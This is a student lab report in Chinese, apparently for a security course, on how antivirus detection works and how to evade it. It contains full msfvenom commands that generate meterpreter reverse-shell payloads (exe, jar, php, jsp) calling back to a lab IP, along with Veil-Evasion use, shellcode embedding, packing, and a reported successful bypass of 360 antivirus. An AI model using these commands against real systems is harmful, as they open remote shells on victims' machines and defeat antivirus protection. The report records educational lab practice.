Exp3 免杀原理与实践
Exp3 免杀原理与实践
3.1 基础问题回答
(1)杀软是如何检测出恶意代码的?
- 杀软是通过两种方式检测出恶意代码的。一种是基于特征码的方式,检测恶意代码中存在一些代表这种恶意代码特征的一段或多段数据,比较常见,但是由于是对现有恶意代码特征的匹配,所以对许多新型恶意代码特征更新不及时。另一种是基于行为(启发式)特征的检测方式,通过检测程序的行为是否属于恶意代码的行为来检测,这种检测方式更加及时,但缺点是这种检测方式对系统资源占用较大,所以不常见到。
(2)免杀是做什么?
- 免杀是利用一些技术来对我们生成的后门程序进行编码加密或者是将行为合法化来达到消除特征隐藏行为的目的,从而使杀软检测不出来。
(3)免杀的基本方法有哪些?
- 免杀基本方法也是针对检测方法来进行免杀的,一种就是改变特征码的方式,这种方式就是用shellcode半手动、加壳之类的手段。另一种方式是对行为进行改变,比如利用隧道技术改变通讯方式、或者减少对系统的操作等手段。
3.2 实践总结与体会
实验做到中间的时候,在利用virustotal和virscan两个平台上检测时看到确实有不少杀软做的不怎么样。实验做到最后,发现确实我们对一些软件进行加壳处理后杀软也没杀出来。分析杀软检测和免杀原理的时候确实感觉有种魔高一尺道高一丈的感觉(虽然这样用词不太准确),真正感觉到我们网络空间的安全性对于一般人真的有些薄弱,而我们学这样的技术一方面是在提高自己的网络安全技能和网络安全意识,一方面也是在试图用这样一种形式来让我们思考如何加强个人网络安全来抵御这样的攻击。
3.3.开启杀软能绝对防止电脑中恶意代码吗?
- 显然不能,但是至少能杀一部分病毒,有还是比没有要强一些。。。
3.4 实验内容
- 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。
- 通过组合应用各种技术实现恶意代码免杀。
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
3.5 实验步骤
3.5.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
3.5.1.1 使用msf编码器,msfvenom生成如jar之类的其他文件
- 一次编码
- 使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.92.128 LPORT=5103 -f exe > zzk1.exe
命令生成一次编码文件
- 进行一下检测
- 33次编码
-
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 33 -b ‘\x00’ LHOST=192.168.92.128 LPORT=5103 -f exe > zzk2.exe
命令生成33次编码文件
-
进行一下检测
- msfvenom生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.92.128 LPORT=5103 x> zzk3java.jar
生成jar文件。
- 检验一下
- msfvenom生成php文件
- 使用
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.92.128 LPORT=5103 x> zzk4php.php
生成php文件。
- 检验一下
- msfvenom生成jsp文件
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.92.128 LPORT=5103 -f raw > zzk6jsp.jsp
命令生成- 检测一下
3.5.1.2 使用veil-evasion生成后门程序
-
安装veil
-
在展开时有点问题,找了同学的重新配置了一下
-
输入
use evasion
命令进入到Evil-Evasion中,输入use c/meterpreter/rev_tcp.py
选择载荷,继续配置。
- 使用set 命令设置端口和ip
- 输入
generate
后输入文件名回车生成文件zzk8.exe
。
- 然后我们从
/var/lib/veil/output/compiled/
中就能看到我们的文件了! - 检验一下
3.5.1.3 利用msf半手工注入Shellcode生成后门程序
- 输入命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.128 LPORT=5103 -f c
后生成一段shellcode,然后我们把它放到一个c程序中。
- 利用
i686-w64-mingw32-g++ zzkshellcode1.c -o zzkshellcode1.exe
命令将我们的c程序编译成为exe文件。
- 检验一下
3.5.1.4 利用加壳工具进行加壳
- 首先是对程序加个压缩壳
- 稍微检测一下
- 然后是再加个加密壳
3.5.2 通过组合应用各种技术实现恶意代码免杀
- 这里是运用了手工注入的shellcode后进行加壳,检测了一下发现还是好多可以杀出来。
3.5.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 我做这个是直接把两个加过壳的都放到了另一台电脑上实验了一下,电脑上装有360杀毒
- 杀软名称360杀毒,版本5.0.0.8150
- 发现有一个成功没有被杀出来,成功实现回连!!
360 确实反映好快。。。。之前成功的过了一段时间就能被查出来了。。。。